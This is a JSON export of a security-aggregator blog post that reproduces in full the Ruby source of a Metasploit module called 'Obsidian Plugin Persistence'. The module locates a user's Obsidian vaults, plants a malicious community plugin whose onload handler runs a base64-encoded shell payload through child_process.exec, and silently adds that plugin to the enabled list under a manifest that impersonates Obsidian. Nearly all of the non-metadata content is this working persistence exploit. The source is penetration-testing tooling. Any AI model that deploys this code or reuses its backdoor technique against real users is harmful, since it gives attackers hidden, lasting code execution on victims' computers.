{"id":17674,"date":"2025-09-16T14:57:56","date_gmt":"2025-09-16T14:57:56","guid":{"rendered":"http:\/\/localhost\/?p=17674"},"modified":"2025-09-16T14:57:56","modified_gmt":"2025-09-16T14:57:56","slug":"obsidian-plugin-persistence","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=17674","title":{"rendered":"Obsidian Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-OBSIDIAN_PLUGIN-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-09-16T19:07:36&#8243;,&#8221;description&#8221;:&#8221;This module searches for Obsidian vaults for a user, and uploads a malicious           community plugin to the vault. The vaults must be opened with community       &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-16T18:53:38&#8243;,&#8221;modified&#8221;:&#8221;2025-09-16T18:53:38&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Obsidian Plugin Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-PERSISTENCE-OBSIDIAN_PLUGIN-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n  Rank = ExcellentRanking\\n\\n  include Msf::Post::File\\n  include Msf::Post::Unix # whoami\\n  include Msf::Auxiliary::Report\\n  include Msf::Exploit::Local::Persistence\\n  include Msf::Exploit::Deprecated\\n  moved_from &#8216;exploits\/multi\/local\/obsidian_plugin_persistence&#8217;\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Obsidian Plugin Persistence&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module searches for Obsidian vaults for a user, and uploads a malicious\\n          community plugin to the vault. The vaults must be opened with community\\n          plugins enabled (NOT restricted mode), but the plugin will be enabled\\n          automatically.\\n\\n          Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;h00die&#8217;, # Module\\n          &#8216;Thomas Byrne&#8217; # Research, PoC\\n        ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2022-09-16&#8217;,\\n        &#8216;SessionTypes&#8217; =\\u003e [ &#8216;shell&#8217;, &#8216;meterpreter&#8217; ],\\n        &#8216;Privileged&#8217; =\\u003e false,\\n        &#8216;References&#8217; =\\u003e [\\n          [ &#8216;URL&#8217;, &#8216;https:\/\/docs.obsidian.md\/Plugins\/Getting+started\/Build+a+plugin&#8217; ],\\n          [ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/obsidianmd\/obsidian-sample-plugin\/tree\/master&#8217; ],\\n          [ &#8216;URL&#8217;, &#8216;https:\/\/forum.obsidian.md\/t\/can-obsidian-plugins-have-malware\/34491&#8217; ],\\n          [ &#8216;URL&#8217;, &#8216;https:\/\/help.obsidian.md\/Extending+Obsidian\/Plugin+security&#8217; ],\\n          [ &#8216;URL&#8217;, &#8216;https:\/\/thomas-byrne.co.uk\/research\/obsidian-malicious-plugins\/obsidian-research\/&#8217; ]\\n        ],\\n        &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n        &#8216;Platform&#8217; =\\u003e %w[osx linux windows],\\n        &#8216;DefaultOptions&#8217; =\\u003e {\\n          &#8216;PrependMigrate&#8217; =\\u003e true\\n        },\\n        &#8216;Payload&#8217; =\\u003e {\\n          &#8216;BadChars&#8217; =\\u003e &#8216;\\&#8221;&#8216;\\n        },\\n        &#8216;Targets&#8217; =\\u003e [\\n          [&#8216;Auto&#8217;, {} ],\\n          [&#8216;Linux&#8217;, { &#8216;Platform&#8217; =\\u003e &#8216;unix&#8217; } ],\\n          [&#8216;OSX&#8217;, { &#8216;Platform&#8217; =\\u003e &#8216;osx&#8217; } ],\\n          [&#8216;Windows&#8217;, { &#8216;Platform&#8217; =\\u003e &#8216;windows&#8217; } ],\\n        ],\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Reliability&#8217; =\\u003e [ REPEATABLE_SESSION ],\\n          &#8216;Stability&#8217; =\\u003e [ CRASH_SAFE ],\\n          &#8216;SideEffects&#8217; =\\u003e [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]\\n        },\\n        &#8216;DefaultTarget&#8217; =\\u003e 0\\n      )\\n    )\\n\\n    register_options([\\n      OptString.new(&#8216;NAME&#8217;, [ false, &#8216;Name of the plugin&#8217;, &#8221; ]),\\n      OptString.new(&#8216;USER&#8217;, [ false, &#8216;User to target, or current user if blank&#8217;, &#8221; ]),\\n      OptString.new(&#8216;CONFIG&#8217;, [ false, &#8216;Config file location on target&#8217;, &#8221; ]),\\n    ])\\n    deregister_options(&#8216;WritableDir&#8217;)\\n  end\\n\\n  def plugin_name\\n    return datastore[&#8216;NAME&#8217;] unless datastore[&#8216;NAME&#8217;].blank?\\n\\n    rand_text_alphanumeric(4..10)\\n  end\\n\\n  def find_vaults\\n    vaults_found = []\\n    user = target_user\\n    vprint_status(\\&#8221;Target User: #{user}\\&#8221;)\\n    case session.platform\\n    when &#8216;windows&#8217;, &#8216;win&#8217;\\n      config_files = [\\&#8221;C:\\\\\\\\Users\\\\\\\\#{user}\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\obsidian\\\\\\\\obsidian.json\\&#8221;]\\n    when &#8216;osx&#8217;\\n      config_files = [\\&#8221;\/User\/#{user}\/Library\/Application Support\/obsidian\/obsidian.json\\&#8221;]\\n    when &#8216;linux&#8217;\\n      config_files = [\\n        \\&#8221;\/home\/#{user}\/.config\/obsidian\/obsidian.json\\&#8221;,\\n        \\&#8221;\/home\/#{user}\/snap\/obsidian\/40\/.config\/obsidian\/obsidian.json\\&#8221;\\n      ] # snap package\\n    end\\n\\n    config_files \\u003c\\u003c datastore[&#8216;CONFIG&#8217;] unless datastore[&#8216;CONFIG&#8217;].empty?\\n\\n    config_files.each do |config_file|\\n      next unless file?(config_file)\\n\\n      vprint_status(\\&#8221;Found user obsidian file: #{config_file}\\&#8221;)\\n      config_contents = read_file(config_file)\\n      return fail_with(Failure::Unknown, &#8216;Failed to read config file&#8217;) if config_contents.nil?\\n\\n      begin\\n        vaults = JSON.parse(config_contents)\\n      rescue JSON::ParserError\\n        vprint_error(\\&#8221;Failed to parse JSON from #{config_file}\\&#8221;)\\n        next\\n      end\\n\\n      vaults_found = vaults[&#8216;vaults&#8217;]\\n      if vaults_found.nil?\\n        vprint_error(\\&#8221;No vaults found in #{config_file}\\&#8221;)\\n        next\\n      end\\n\\n      vaults[&#8216;vaults&#8217;].each do |k, v|\\n        if v[&#8216;open&#8217;]\\n          print_good(\\&#8221;Found #{v[&#8216;open&#8217;] ? &#8216;open&#8217; : &#8216;closed&#8217;} vault #{k}: #{v[&#8216;path&#8217;]}\\&#8221;)\\n        else\\n          print_status(\\&#8221;Found #{v[&#8216;open&#8217;] ? &#8216;open&#8217; : &#8216;closed&#8217;} vault #{k}: #{v[&#8216;path&#8217;]}\\&#8221;)\\n        end\\n      end\\n    end\\n\\n    vaults_found\\n  end\\n\\n  def manifest_js(plugin_name)\\n    JSON.pretty_generate({\\n      &#8216;id&#8217; =\\u003e plugin_name.gsub(&#8216; &#8216;, &#8216;_&#8217;),\\n      &#8216;name&#8217; =\\u003e plugin_name,\\n      &#8216;version&#8217; =\\u003e &#8216;1.0.0&#8217;,\\n      &#8216;minAppVersion&#8217; =\\u003e &#8216;0.15.0&#8217;,\\n      &#8216;description&#8217; =\\u003e &#8221;,\\n      &#8216;author&#8217; =\\u003e &#8216;Obsidian&#8217;,\\n      &#8216;authorUrl&#8217; =\\u003e &#8216;https:\/\/obsidian.md&#8217;,\\n      &#8216;isDesktopOnly&#8217; =\\u003e false\\n    })\\n  end\\n\\n  def main_js(_plugin_name)\\n    if [&#8216;windows&#8217;, &#8216;win&#8217;].include? session.platform\\n      payload_stub = payload.encoded.to_s\\n    else\\n      payload_stub = \\&#8221;echo \\\\\\\\\\\\\\&#8221;#{Rex::Text.encode_base64(payload.encoded)}\\\\\\\\\\\\\\&#8221; | base64 -d | \/bin\/sh\\&#8221;\\n    end\\n    %%\\n\/*\\nTHIS IS A GENERATED\/BUNDLED FILE BY ESBUILD\\nif you want to view the source, please visit the github repository of this plugin\\n*\/\\n\\nvar __defProp = Object.defineProperty;\\nvar __getOwnPropDesc = Object.getOwnPropertyDescriptor;\\nvar __getOwnPropNames = Object.getOwnPropertyNames;\\nvar __hasOwnProp = Object.prototype.hasOwnProperty;\\nvar __export = (target, all) =\\u003e {\\n  for (var name in all)\\n    __defProp(target, name, { get: all[name], enumerable: true });\\n};\\nvar __copyProps = (to, from, except, desc) =\\u003e {\\n  if (from \\u0026\\u0026 typeof from === \\&#8221;object\\&#8221; || typeof from === \\&#8221;function\\&#8221;) {\\n    for (let key of __getOwnPropNames(from))\\n      if (!__hasOwnProp.call(to, key) \\u0026\\u0026 key !== except)\\n        __defProp(to, key, { get: () =\\u003e from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });\\n  }\\n  return to;\\n};\\nvar __toCommonJS = (mod) =\\u003e __copyProps(__defProp({}, \\&#8221;__esModule\\&#8221;, { value: true }), mod);\\n\\n\/\/ main.ts\\nvar main_exports = {};\\n__export(main_exports, {\\n  default: () =\\u003e ExamplePlugin\\n});\\nmodule.exports = __toCommonJS(main_exports);\\nvar import_obsidian = require(\\&#8221;obsidian\\&#8221;);\\nvar ExamplePlugin = class extends import_obsidian.Plugin {\\n  async onload() {\\n        var command = \\&#8221;#{payload_stub}\\&#8221;;\\n        const { exec } = require(\\&#8221;child_process\\&#8221;);\\n        exec(command, (error, stdout, stderr) =\\u003e {\\n            if (error) {\\n                console.log(`error: ${error.message}`);\\n                return;\\n            }\\n            if (stderr) {\\n                console.log(`stderr: ${stderr}`);\\n                return;\\n            }\\n            console.log(`stdout: ${stdout}`);\\n        });\\n  }\\n  async onunload() {\\n  }\\n};\\n%\\n  end\\n\\n  def target_user\\n    return datastore[&#8216;USER&#8217;] unless datastore[&#8216;USER&#8217;].blank?\\n\\n    return cmd_exec(&#8216;cmd.exe \/c echo %USERNAME%&#8217;).strip if [&#8216;windows&#8217;, &#8216;win&#8217;].include? session.platform\\n\\n    whoami\\n  end\\n\\n  def check\\n    return CheckCode::Appears(&#8216;Vaults found&#8217;) unless find_vaults.empty?\\n\\n    CheckCode::Safe(&#8216;No vaults found&#8217;)\\n  end\\n\\n  def install_persistence\\n    plugin = plugin_name\\n    print_status(\\&#8221;Using plugin name: #{plugin}\\&#8221;)\\n    vaults = find_vaults\\n    fail_with(Failure::NotFound, &#8216;No vaults found&#8217;) if vaults.empty?\\n    vaults.each_value do |vault|\\n      print_status(\\&#8221;Uploading plugin to vault #{vault[&#8216;path&#8217;]}\\&#8221;)\\n      # avoid mkdir function because that registers it for delete, and we don&#8217;t want that for\\n      # persistent modules\\n      if [&#8216;windows&#8217;, &#8216;win&#8217;].include? session.platform\\n        cmd_exec(\\&#8221;cmd.exe \/c md \\\\\\&#8221;#{vault[&#8216;path&#8217;]}\\\\\\\\.obsidian\\\\\\\\plugins\\\\\\\\#{plugin}\\\\\\&#8221;\\&#8221;)\\n      else\\n        cmd_exec(\\&#8221;mkdir -p &#8216;#{vault[&#8216;path&#8217;]}\/.obsidian\/plugins\/#{plugin}\/&#8217;\\&#8221;)\\n      end\\n      vprint_status(\\&#8221;Uploading: #{vault[&#8216;path&#8217;]}\/.obsidian\/plugins\/#{plugin}\/main.js\\&#8221;)\\n      write_file(\\&#8221;#{vault[&#8216;path&#8217;]}\/.obsidian\/plugins\/#{plugin}\/main.js\\&#8221;, main_js(plugin))\\n      @clean_up_rc \\u003c\\u003c \\&#8221;rm #{vault[&#8216;path&#8217;]}\/.obsidian\/plugins\/#{plugin}\/main.js\\\\n\\&#8221;\\n\\n      vprint_status(\\&#8221;Uploading: #{vault[&#8216;path&#8217;]}\/.obsidian\/plugins\/#{plugin}\/manifest.json\\&#8221;)\\n      write_file(\\&#8221;#{vault[&#8216;path&#8217;]}\/.obsidian\/plugins\/#{plugin}\/manifest.json\\&#8221;, manifest_js(plugin))\\n      @clean_up_rc \\u003c\\u003c \\&#8221;rm #{vault[&#8216;path&#8217;]}\/.obsidian\/plugins\/#{plugin}\/manifest.json\\\\n\\&#8221;\\n      # read in the enabled community plugins, and add ours to the enabled list\\n      if file?(\\&#8221;#{vault[&#8216;path&#8217;]}\/.obsidian\/community-plugins.json\\&#8221;)\\n        plugins = read_file(\\&#8221;#{vault[&#8216;path&#8217;]}\/.obsidian\/community-plugins.json\\&#8221;)\\n        begin\\n          plugins = JSON.parse(plugins)\\n          vprint_status(\\&#8221;Found #{plugins.length} enabled community plugins (#{plugins.join(&#8216;, &#8216;)})\\&#8221;)\\n          path = store_loot(&#8216;obsidian.community.plugins.json&#8217;, &#8216;text\/plain&#8217;, session, plugins, nil, nil)\\n          print_good(\\&#8221;Config file saved in: #{path}\\&#8221;)\\n          @clean_up_rc \\u003c\\u003c \\&#8221;upload #{path} #{vault[&#8216;path&#8217;]}\/.obsidian\/community-plugins.json\\\\n\\&#8221;\\n        rescue JSON::ParserError\\n          plugins = []\\n        end\\n\\n        plugins \\u003c\\u003c plugin unless plugins.include?(plugin)\\n      else\\n        plugins = [plugin]\\n      end\\n      vprint_status(\\&#8221;adding #{plugin} to the enabled community plugins list\\&#8221;)\\n      write_file(\\&#8221;#{vault[&#8216;path&#8217;]}\/.obsidian\/community-plugins.json\\&#8221;, JSON.pretty_generate(plugins))\\n      print_good(&#8216;Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.&#8217;)\\n    end\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/persistence\/obsidian_plugin.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/persistence\/obsidian_plugin\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-09-16T19:07:36&#8243;,&#8221;description&#8221;:&#8221;This module searches for Obsidian vaults for a user, and uploads a malicious community plugin to the vault. The vaults must be opened with community&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-17674","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Obsidian Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-OBSIDIAN_PLUGIN- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=17674\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Obsidian Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-OBSIDIAN_PLUGIN- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-09-16T19:07:36&#8243;,&#8221;description&#8221;:&#8221;This module searches for Obsidian vaults for a user, and uploads a malicious community plugin to the vault. The vaults must be opened with community...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=17674\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-09-16T14:57:56+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17674#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17674\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Obsidian Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-OBSIDIAN_PLUGIN-\",\"datePublished\":\"2025-09-16T14:57:56+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17674\"},\"wordCount\":1490,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=17674#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17674\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17674\",\"name\":\"Obsidian Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-OBSIDIAN_PLUGIN- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-09-16T14:57:56+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17674#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=17674\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17674#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Obsidian Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-OBSIDIAN_PLUGIN-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Obsidian Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-OBSIDIAN_PLUGIN- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=17674","og_locale":"en_US","og_type":"article","og_title":"Obsidian Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-OBSIDIAN_PLUGIN- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-09-16T19:07:36&#8243;,&#8221;description&#8221;:&#8221;This module searches for Obsidian vaults for a user, and uploads a malicious community plugin to the vault. The vaults must be opened with community...","og_url":"https:\/\/zero.redgem.net\/?p=17674","og_site_name":"zero redgem","article_published_time":"2025-09-16T14:57:56+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=17674#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=17674"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Obsidian Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-OBSIDIAN_PLUGIN-","datePublished":"2025-09-16T14:57:56+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=17674"},"wordCount":1490,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=17674#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=17674","url":"https:\/\/zero.redgem.net\/?p=17674","name":"Obsidian Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-OBSIDIAN_PLUGIN- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-09-16T14:57:56+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=17674#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=17674"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=17674#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Obsidian Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-OBSIDIAN_PLUGIN-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/17674","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=17674"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/17674\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=17674"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=17674"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=17674"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}